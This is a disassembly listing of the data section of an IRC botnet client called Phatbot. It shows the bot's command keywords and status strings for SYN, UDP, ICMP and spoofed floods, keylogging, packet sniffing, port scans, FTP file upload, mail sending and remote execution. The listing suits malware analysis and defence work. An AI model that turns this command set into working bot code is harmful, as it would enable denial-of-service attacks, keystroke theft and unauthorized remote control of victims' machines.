		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAAC	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42AB08	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42AB14	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AB50	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42ABA0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42ABD8	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 10h
unk_42AC40	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42ACD8	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_3		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; sub_411C13+4Eo
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42AD48	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 10h
unk_42AD70	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 10h
unk_42ADB0	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADE8	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42AE30	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AE98	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42AED0	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 4
unk_42AF24	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFA4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AFDC	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B014	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42B058	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
					; sub_413E35+312o
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
					; sub_413E35+2F2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42B0A0	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; .packed:004382D8o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 10h
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; .packed:004382D0o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 10h
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 10h
dword_42B1E0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42B264	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC_0:					; DATA XREF: sub_401ACD+4BCCo
					; .packed:00438308o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 10h
aE:					; DATA XREF: sub_401ACD+4B02o
					; .packed:004382C0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 10h
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; .packed:00438318o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
					; .packed:004382DCo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 10h
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42B3F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B410	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42B43C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B45C	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B47C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B49C	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42B4E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42B530	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42B56C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5A8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5CC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B5EC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B618	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42B664	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B684	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6BC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B6F0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B71C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B744	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B774	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7B4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B7F0	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B820	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B848	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B874	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B8B0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B8EC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B91C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; .packed:0043830Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; .packed:0043863Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; .packed:004382F4o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; .packed:00438314o ...
		unicode	0, <n>,0
unk_42BA14	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42BA74	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42BA8C	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42BAA4	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42BAEC	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB14	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42BB18	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42BB24	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42BB2C	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42BB9C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42BBB0	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42BBB4	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42BBC4	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42BBC8	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42BBCC	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 10h
